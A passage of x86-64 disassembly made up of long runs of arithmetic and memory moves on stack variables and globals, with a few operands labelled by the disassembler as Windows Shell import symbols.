mov qword [rsp + 0xc028], rax
mov rax, qword [rsp + 0xc0b0]
mov qword [rsp + 0xc240], rax
mov eax, dword [rsp + 0x6a24]
mov ecx, dword [rsp + 0x6a18]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc088]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1590], ax
movzx eax, word [rsp + 0x1560]
mov rcx, qword [rsp + 0xbcd8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402c74c0], ax
lea rax, [rsp + 0x68]
mov qword [rsp + 0xc248], rax
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc0f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x83], al
lea rax, [rsp + 0x50]
mov qword [rsp + 0xc250], rax
mov rax, qword [rsp + 0xbe40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6918], eax
lea rax, [rsp + 0xc1f0]
mov qword [rsp + 0xc258], rax
mov rax, qword [rsp + 0xc180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a14], eax
mov rax, qword [rsp + 0xbe00]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc1b8], rax
mov rax, qword [rsp + 0xbf88]
movzx eax, word [rax]
mov word [rsp + 0x1610], ax
movsx eax, word [rsp + 0x156c]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c90c8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x7a]
movzx ecx, byte [0x1402c74ab]
and eax, ecx
mov byte [rsp + 0x78], al
lea rax, [rsp + 0x15b8]
mov qword [rsp + 0xc260], rax
mov rax, qword [rsp + 0xbef0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15ac]
sub eax, ecx
mov rcx, qword [rsp + 0xbdb0]
mov word [rcx], ax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xbc88]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
lea rax, [rsp + 0x69bc]
mov qword [rsp + 0xc268], rax
mov rax, qword [rsp + 0xbee8]
mov rcx, qword [rsp + 0xbca8]
mov qword [rsp + 0xc270], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc270]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xc130]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbda0]
mov rax, qword [rax]
mov qword [rsp + 0xc278], rax
movsx eax, byte [0x1402c74a6]
movsx ecx, byte [rsp + 0x66]
or eax, ecx
mov byte [rsp + 0x7b], al
lea rax, [rsp + 0x54]
mov qword [0x1402c91b0], rax
movzx eax, word [rsp + 0x159c]
movzx ecx, word [rsp + 0x1570]
shl eax, cl
mov word [rsp + 0x1580], ax
movzx eax, byte [0x1402c74ae]
mov byte [rsp + 0x88], al
movsx eax, word [rsp + 0x1604]
mov rcx, qword [rsp + 0xc030]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15a8], ax
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0x89], al
mov rax, qword [rsp + 0xbf28]
mov rcx, qword [rsp + 0xbd60]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xbfc8], rax
mov rax, qword [rsp + 0xbe10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6998]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc038]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6a08]
mov dword [rsp + 0x6a34], eax
mov rax, qword [rsp + 0xbf60]
mov rcx, qword [rsp + 0xc130]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xbf20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc0f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74aa], al
movzx eax, word [rsp + 0x157c]
mov word [rsp + 0x1614], ax
movzx eax, word [rsp + 0x1550]
mov rcx, qword [rsp + 0xbf68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15e0], ax
mov rax, qword [rsp + 0xbd08]
movzx eax, byte [rax]
mov byte [rsp + 0x8a], al
movzx eax, byte [rsp + 0x54]
movzx ecx, byte [rsp + 0x51]
add eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0xbf58]
mov rcx, qword [rsp + 0xc040]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbcb0], rax
mov eax, dword [rsp + 0x69ac]
mov dword [rsp + 0x6a38], eax
mov rax, qword [rsp + 0xc180]
mov ecx, dword [0x1402c7498]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbdd8]
mov dword [rcx], eax
lea rax, [rsp + 0xc168]
mov qword [rsp + 0xc280], rax
mov rax, qword [rsp + 0xbd80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbfd0]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x1402c9138]
mov word [rcx], ax
mov rax, qword [rsp + 0xbd08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x71]
and eax, ecx
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0xbdc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e]
or eax, ecx
mov byte [rsp + 0x83], al
lea rax, [rsp + 0x1604]
mov qword [rsp + 0xc288], rax
mov rax, qword [rsp + 0xbff0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbc68]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x15b4], ax
lea rax, [rsp + 0x6a00]
mov qword [rsp + 0xc290], rax
mov rax, qword [rsp + 0xbe10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbd38]
mov qword [rsp + 0xc298], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc298]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x68ec], eax
mov rax, qword [rsp + 0xc150]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbb38]
mov qword [rsp + 0xc2a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc2a0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xbd20], rax
mov rax, qword [rsp + 0xbce0]
mov qword [rsp + 0xc2a8], rax
movzx eax, byte [rsp + 0x79]
mov byte [0x1402c90b2], al
movsx eax, word [rsp + 0x155c]
mov rcx, qword [rsp + 0xba68]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc088]
mov word [rcx], ax
mov rax, qword [rsp + 0xbfb0]
movzx eax, byte [rax]
mov byte [rsp + 0x8b], al
mov rax, qword [rsp + 0xbfd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf30]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1534], ax
mov rax, qword [rsp + 0xbf88]
movzx eax, word [rax]
mov word [rsp + 0x1618], ax
mov rax, qword [rsp + 0xbb90]
mov rcx, qword [rsp + 0xbbf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbe08]
mov rcx, qword [rsp + 0xc0a0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xc028], rax
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov qword [rsp + 0xc2b0], rax
mov rax, qword [rsp + 0xbe68]
mov eax, dword [rax]
mov ecx, dword [0x1402c90a0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc010]
mov dword [rcx], eax
movsx eax, word [rsp + 0x15bc]
mov rcx, qword [rsp + 0xbc80]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402c74ac], ax
mov rax, qword [rsp + 0xbe90]
movzx eax, word [rax]
mov word [rsp + 0x161c], ax
movsx eax, byte [rsp + 0x5d]
movsx ecx, byte [rsp + 0x63]
add eax, ecx
mov byte [rsp + 0x50], al
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f]
sub eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
lea rax, [0x1402c74a3]
mov qword [rsp + 0xc2b8], rax
mov rax, qword [rsp + 0xc148]
mov rcx, qword [rsp + 0xbdd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6998], eax
lea rax, [rsp + 0x69ec]
mov qword [rsp + 0xc2c0], rax
mov rax, qword [rsp + 0xb9b8]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc1d0], rax
mov rax, qword [rsp + 0xbe28]
mov rcx, qword [rsp + 0xc2b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbec8], rax
lea rax, [rsp + 0x15b8]
mov qword [0x1402c91b8], rax
movzx eax, word [rsp + 0x15dc]
mov word [rsp + 0x1620], ax
movzx eax, byte [0x1402c74ab]
mov rcx, qword [rsp + 0xbc78]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xc000]
mov byte [rcx], al
movzx eax, word [rsp + 0x15dc]
mov word [rsp + 0x1624], ax
movzx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0xbdc0]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xc0f0]
mov byte [rcx], al
mov eax, dword [rsp + 0x6990]
mov ecx, dword [0x1402c7498]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a04], eax
mov rax, qword [rsp + 0xc2a8]
mov qword [rsp + 0xc2c8], rax
mov rax, qword [rsp + 0xc2c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc080]
mov qword [rsp + 0xc2d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc2d0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x69d4], eax
lea rax, [rsp + 0xbe88]
mov qword [rsp + 0xc2d8], rax
movsx eax, byte [rsp + 0x5d]
movsx ecx, byte [rsp + 0x7f]
and eax, ecx
mov byte [reloc.SHELL32.dll_ILCombine], al
mov rax, qword [rsp + 0xbcb8]
movzx eax, word [rax]
mov rcx, qword [0x1402c9110]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1580], ax
mov rax, qword [rsp + 0xc0f0]
movzx eax, byte [rax]
mov byte [rsp + 0x8c], al
mov rax, qword [rsp + 0xbe70]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbd28]
mov byte [rcx], al
mov rax, qword [rsp + 0xc288]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1614]
add eax, ecx
mov word [rsp + 0x1548], ax
mov rax, qword [rsp + 0xc198]
mov eax, dword [rax]
mov dword [rsp + 0x6a3c], eax
mov rax, qword [rsp + 0xc040]
mov rcx, qword [rsp + 0xbe60]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xbf00]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbf98]
mov rax, qword [rax]
mov qword [rsp + 0xc2e0], rax
mov eax, dword [rsp + 0x69e0]
mov ecx, dword [0x1402c7498]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc268]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0xba80]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1402c90b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xbef0]
movzx eax, word [rax]
movzx ecx, word [0x1402c74c0]
sub eax, ecx
mov rcx, qword [rsp + 0xc070]
mov word [rcx], ax
lea rax, [rsp + 0x6d]
mov qword [rsp + 0xc2e8], rax
movsx eax, word [rsp + 0x15f8]
mov rcx, qword [rsp + 0xbff0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc088]
mov word [rcx], ax
lea rax, [0x1402c9140]
mov qword [rsp + 0xc2f0], rax
mov rax, qword [rsp + 0xbe40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc290]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbc50]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xbde8], rax
lea rax, [rsp + 0x69c0]
mov qword [rsp + 0xc2f8], rax
mov rax, qword [rsp + 0xc130]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc128]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc0c0], rax
mov rax, qword [rsp + 0xba80]
movzx eax, byte [rax]
mov byte [rsp + 0x8d], al
mov rax, qword [rsp + 0xc088]
movsx eax, word [rax]
movsx ecx, word [0x1402c749c]
shl eax, cl
mov word [0x1402c90c0], ax
movzx eax, byte [rsp + 0x53]
movzx ecx, byte [rsp + 0x70]
sar eax, cl
mov byte [rsp + 0x85], al
movzx eax, word [rsp + 0x1584]
movzx ecx, word [rsp + 0x1570]
and eax, ecx
mov rcx, qword [rsp + 0xbfd0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x50]
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0xbd38]
mov ecx, dword [rsp + 0x69a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x69e0], eax
mov rax, qword [rsp + 0xbb38]
mov rax, qword [rax]
mov qword [rsp + 0xc300], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xbfd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xc1e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
mov dword [rsp + 0x6a40], eax
movsx eax, word [rsp + 0x15bc]
movsx ecx, word [rsp + 0x15d8]
sub eax, ecx
mov rcx, qword [rsp + 0xba10]
mov word [rcx], ax
lea rax, [0x1402c90b0]
mov qword [0x1402c91c0], rax
mov rax, qword [rsp + 0xc140]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15a0]
add eax, ecx
mov rcx, qword [rsp + 0xbde0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x77]
mov byte [rsp + 0x8f], al
mov rax, qword [rsp + 0xc1a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc058]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5b], al
lea rax, [rsp + 0x69f4]
mov qword [rsp + 0xc308], rax
mov rax, qword [rsp + 0xbd48]
mov rcx, qword [rsp + 0xc0e8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xbe48], rax
mov rax, qword [0x1402c90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc2c8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb9b0], rax
mov eax, dword [rsp + 0x695c]
mov dword [rsp + 0x6a44], eax
mov rax, qword [rsp + 0xc108]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1580]
add eax, ecx
mov rcx, qword [rsp + 0xc070]
mov word [rcx], ax
lea rax, [0x1402c748a]
mov qword [0x1402c91c8], rax
movzx eax, word [rsp + 0x1604]
mov word [rsp + 0x1628], ax
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x77]
add eax, ecx
mov rcx, qword [rsp + 0xbfb0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbc0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbf08]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1618], ax
lea rax, [rsp + 0xbf38]
mov qword [rsp + 0xc310], rax
mov rax, qword [rsp + 0xbea0]
mov rcx, qword [rsp + 0xc078]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xc150]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc138]
mov eax, dword [rax]
mov dword [rsp + 0x6a48], eax
mov eax, dword [rsp + 0x69e4]
movzx ecx, al
mov eax, dword [rsp + 0x6a40]
shl eax, cl
mov dword [rsp + 0x69ac], eax
lea rax, [rsp + 0x5d]
mov qword [rsp + 0xc318], rax
movsx eax, word [rsp + 0x156c]
mov rcx, qword [rsp + 0xc208]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x1402c90c8]
mov word [rcx], ax
movzx eax, word [0x1402c74b0]
movzx ecx, word [rsp + 0x15ac]
and eax, ecx
mov rcx, qword [rsp + 0xbd90]
mov word [rcx], ax
mov rax, qword [rsp + 0xc228]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbfb0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x51], al
lea rax, [rsp + 0x6d]
mov qword [rsp + 0xc320], rax
mov rax, qword [rsp + 0xbe58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc228]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x78], al
mov rax, qword [rsp + 0xbb08]
mov qword [rsp + 0xc328], rax
mov rax, qword [rsp + 0xbaf8]
mov ecx, dword [0x1402c90a0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69b0], eax
mov eax, dword [rsp + 0x69e0]
mov ecx, dword [rsp + 0x69a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x69bc], eax
lea rax, [rsp + 0xbb68]
mov qword [rsp + 0xc330], rax
lea rax, [rsp + 0x1568]
mov qword [0x1402c91d0], rax
mov rax, qword [0x1402c90b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd08]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xba78]
mov byte [rcx], al
movzx eax, word [rsp + 0x161c]
mov word [rsp + 0x162c], ax
movsx eax, word [rsp + 0x1614]
mov rcx, qword [rsp + 0xc088]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xc030]
mov word [rcx], ax
mov rax, qword [0x1402c9110]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xbd90]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1570], ax
lea rax, [rsp + 0x6a04]
mov qword [rsp + 0xc338], rax
mov rax, qword [rsp + 0xc010]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68d4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbce8]
mov qword [rsp + 0xc340], rax
mov rax, qword [rsp + 0xc130]
mov rcx, qword [rsp + 0xbe30]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb9b0], rax
movzx eax, byte [rsp + 0x8c]
movzx ecx, byte [0x1402c90a4]
sar eax, cl
mov rcx, qword [0x1402c9180]
mov byte [rcx], al
movzx eax, word [rsp + 0x15e0]
mov rcx, qword [rsp + 0xbbd0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x15a4], ax
movzx eax, byte [rsp + 0x5f]
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0xc2b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc1a8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x5d], al
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0x91], al
mov eax, dword [rsp + 0x6918]
mov ecx, dword [rsp + 0x6a2c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc290]
mov dword [rcx], eax
lea rax, [rsp + 0xbdf0]
mov qword [rsp + 0xc348], rax
mov rax, qword [rsp + 0xbfa8]
mov rcx, qword [rsp + 0xbcc0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc0c8], rax
mov rax, qword [rsp + 0xbbf8]
mov ecx, dword [rsp + 0x69e0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xbdb8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x63]
movsx ecx, byte [0x1402c74ae]
add eax, ecx
mov byte [reloc.SHELL32.dll_ILCombine], al
mov rax, qword [rsp + 0xbbc8]
movzx eax, word [rax]
mov word [rsp + 0x1630], ax
movzx eax, word [rsp + 0x1540]
movzx ecx, word [rsp + 0x1534]
sub eax, ecx
mov rcx, qword [rsp + 0xc098]
mov word [rcx], ax
lea rax, [0x1402c91a0]
mov qword [rsp + 0xc350], rax
mov rax, qword [rsp + 0xbd30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbc78]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd38]
mov rcx, qword [rsp + 0xbc98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69bc], eax
mov rax, qword [rsp + 0xbda0]
mov rax, qword [rax]
mov qword [rsp + 0xc358], rax
mov rax, qword [rsp + 0xbeb8]
mov rcx, qword [rsp + 0xc028]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbd00], rax
mov eax, dword [rsp + 0x6a0c]
mov dword [rsp + 0x6a4c], eax
mov rax, qword [rsp + 0xc0b8]
movsx eax, word [rax]
movsx ecx, word [0x1402c74ac]
and eax, ecx
mov word [0x1402c74c4], ax
mov rax, qword [rsp + 0xc190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xba18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov byte [rcx], al
movsx eax, byte [rsp + 0x5e]
mov rcx, qword [rsp + 0xc158]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x8e], al
mov rax, qword [0x1402c9178]
movzx eax, word [rax]
mov word [rsp + 0x1634], ax
movzx eax, word [rsp + 0x1550]
movzx ecx, word [rsp + 0x1620]
sar eax, cl
mov word [rsp + 0x1634], ax
mov rax, qword [rsp + 0xc110]
mov rax, qword [rax]
mov qword [rsp + 0xc360], rax
mov rax, qword [rsp + 0xbd78]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xc118]
idiv dword [rcx]
mov dword [rsp + 0x68ec], eax
mov rax, qword [rsp + 0xbc88]
mov eax, dword [rax]
mov dword [rsp + 0x6a50], eax
mov rax, qword [rsp + 0xc300]
movzx ecx, al
mov rax, qword [rsp + 0xbec8]
shl rax, cl
mov rcx, qword [rsp + 0xb9e0]
mov qword [rcx], rax
movzx eax, word [0x1402c90c0]
mov word [0x1402c91d8], ax
movzx eax, byte [rsp + 0x56]
mov rcx, qword [rsp + 0xc2e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xbb18]
mov byte [rcx], al
lea rax, [rsp + 0x65]
mov qword [rsp + 0xc368], rax
mov rax, qword [rsp + 0xbd08]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9100]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x81], al
movzx eax, word [rsp + 0x1530]
mov word [rsp + 0x1638], ax
mov rax, qword [rsp + 0xbe68]
mov ecx, dword [rsp + 0x695c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6a2c], eax
mov rax, qword [rsp + 0xbfd8]
mov rcx, qword [0x1402c7490]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbeb8], rax
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
mov qword [rsp + 0xc370], rax
mov rax, qword [rsp + 0xc118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68d8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbe18]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0xbd58]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c74a5], al
mov rax, qword [rsp + 0xbfc0]
movzx eax, byte [rax]
mov byte [rsp + 0x92], al
mov rax, qword [rsp + 0xbc70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7f]
add eax, ecx
mov byte [rsp + 0x7c], al
movsx eax, word [rsp + 0x15c0]
mov rcx, qword [rsp + 0xba90]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1568], ax
lea rax, [rsp + 0x1634]
mov qword [rsp + 0xc378], rax
mov rax, qword [rsp + 0xbe28]
mov rcx, qword [rsp + 0xbe78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc370], rax
lea rax, [rsp + 0x695c]
mov qword [rsp + 0xc380], rax
mov rax, qword [rsp + 0xc308]
mov ecx, dword [rsp + 0x6990]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xbf78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc1e8]
mov rcx, qword [rsp + 0xc2a8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbb68], rax
movzx eax, word [rsp + 0x15a4]
mov rcx, qword [rsp + 0xbf68]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x1402c9188]
mov word [rcx], ax
movzx eax, word [rsp + 0x15c4]
mov word [rsp + 0x163c], ax
mov rax, qword [rsp + 0xc2e8]
movzx eax, byte [rax]
movzx ecx, byte [0x1402c74a4]
xor eax, ecx
mov byte [rsp + 0x54], al
movzx eax, word [rsp + 0x1618]
mov word [rsp + 0x1640], ax
movsx eax, byte [rsp + 0x73]
cdq
mov ecx, PathMakeUniqueName
idiv ecx
mov byte [rsp + 0x90], al
mov rax, qword [rsp + 0xbcf8]
mov rax, qword [rax]
mov qword [rsp + 0xc388], rax
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402c7498]
sar eax, cl
mov rcx, qword [rsp + 0xbc98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc290]
mov rcx, qword [rsp + 0xbaf8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc2c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbb68]
mov qword [rsp + 0xc390], rax
mov rax, qword [0x1402c9100]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc020]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc1c0]
mov byte [rcx], al
lea rax, [rsp + 0x8f]
mov qword [0x1402c91e0], rax
lea rax, [rsp + 0x163c]
mov qword [rsp + 0xc398], rax
mov rax, qword [rsp + 0xba98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1594]
sub eax, ecx
mov rcx, qword [rsp + 0xbf88]
mov word [rcx], ax
mov rax, qword [rsp + 0xc140]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbca0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xbc80]
mov word [rcx], ax
mov eax, dword [rsp + 0x6900]
mov dword [rsp + 0x6a54], eax
mov rax, qword [rsp + 0xc010]
mov ecx, dword [rsp + 0x69ac]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6a08], eax
mov rax, qword [rsp + 0xbed0]
mov rax, qword [rax]
mov qword [rsp + 0xc3a0], rax
mov rax, qword [rsp + 0xbfc8]
mov rcx, qword [rsp + 0xbe98]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbb70], rax
movzx eax, byte [rsp + 0x8c]
mov rcx, qword [rsp + 0xc050]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc0f0]
mov byte [rcx], al
movzx eax, word [rsp + 0x153c]
mov rcx, qword [rsp + 0xc378]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1402c9178]
mov word [rcx], ax
movzx eax, byte [rsp + 0x51]
mov byte [rsp + 0x93], al
mov rax, qword [0x1402c90d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c]
sub eax, ecx
mov byte [rsp + 0x89], al
lea rax, [rsp + 0x1640]
mov qword [rsp + 0xc3a8], rax
mov rax, qword [rsp + 0xc2f8]
mov ecx, dword [rsp + 0x69f0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69e0], eax
mov rax, qword [rsp + 0xbe40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a18]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbad0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbea0]
mov rax, qword [rax]
mov qword [rsp + 0xc3b0], rax
mov rax, qword [rsp + 0xc390]
mov rcx, qword [rsp + 0xc128]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbf38], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0xc3b8], rax
mov rax, qword [rsp + 0xbd10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x15e4]
sar eax, cl
mov word [0x1402c74c8], ax
movsx eax, byte [rsp + 0x76]
cdq
mov ecx, 0x73
idiv ecx
mov rcx, qword [rsp + 0xbd08]
mov byte [rcx], al
lea rax, [rsp + 0x5f]
mov qword [rsp + 0xc3c0], rax
movzx eax, word [rsp + 0x1550]
mov rcx, qword [rsp + 0xbf68]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1600], ax
mov rax, qword [rsp + 0xc258]
